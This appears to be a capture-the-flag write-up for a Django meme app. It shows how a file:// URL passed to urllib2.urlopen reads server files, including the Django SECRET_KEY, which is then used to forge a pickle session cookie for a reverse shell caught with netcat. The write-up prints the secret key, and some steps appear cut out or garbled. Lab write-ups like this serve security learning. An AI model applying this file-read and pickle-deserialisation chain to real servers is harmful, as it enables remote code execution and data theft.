In this task a web application is given. Also sources are given. The website is built using python language + django framework. In file in makememe() function we can see that on line 82:

image = urllib2.urlopen(url)

we have an unfiltered input is given as parameter of urlopen(). Since we control the ‘url’ variable we can submit something like: file://path/to/the/file/i/want/to/read#http:// to read any file in the file system (the hash at the end is to pass the if check done on line 81). So after log in submit as weburl of the meme this to read the :


Now, we can see an interesting thing:


This variable is used by django to build the sessionid that has been treated with pickle. So if we manage to forge a custom sessionid using that key we could have RCE exploiting the known feature of pickle.

So lets begin downloading a tool that will forge us the cookie:

edit in like this:

host = '' # the server where shell will be spawned
port = 0 # the port on the server where the victim will connects to

the in file:

  • comment line 41 and add : “print s”
  • uncomment line: send_django(SECRET_KEY, ADD, p)

Ok now run it:

[email protected]:/home/nms/pwp-master$ python 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
Sending payload, check you listenner

This is our forged session id that we’re gonna replace on the original one but before do that

be sure to run netcat for listening on the specified port you put in file.

If all goes fine just go on the spawned shell and take it:

$ ls
give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt
$ ls -al
ls -al
total 44
drwxr-xr-x 3 reekeeplus reekeeplus 4096 Apr  9 03:15 .
drwxr-xr-x 5 root       root       4096 Apr  9 01:58 ..
---------- 1 admin      admin       766 Apr 12 14:55 .bash_history
-rw-r--r-- 1 reekee     reekee      220 Apr  9 01:13 .bash_logout
-rw-r--r-- 1 reekee     reekee     3392 Apr  9 01:13 .bashrc
-rwsr-sr-x 1 reekeeplus reekeeplus 7564 Apr  9 02:03 give_me_the_flag.exe
drwxr-xr-x 4 reekee     reekee     4096 Apr 12 18:01 mymeme
-rw-r--r-- 1 reekee     reekee      675 Apr  9 01:13 .profile
-r-------- 1 reekeeplus reekeeplus   42 Apr  9 02:03 use_exe_to_read_me.txt
-rw------- 1 reekee     reekee      601 Apr  9 03:15 .viminfo
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

If you want to know more about this bug visit:

Razor4x, nurfed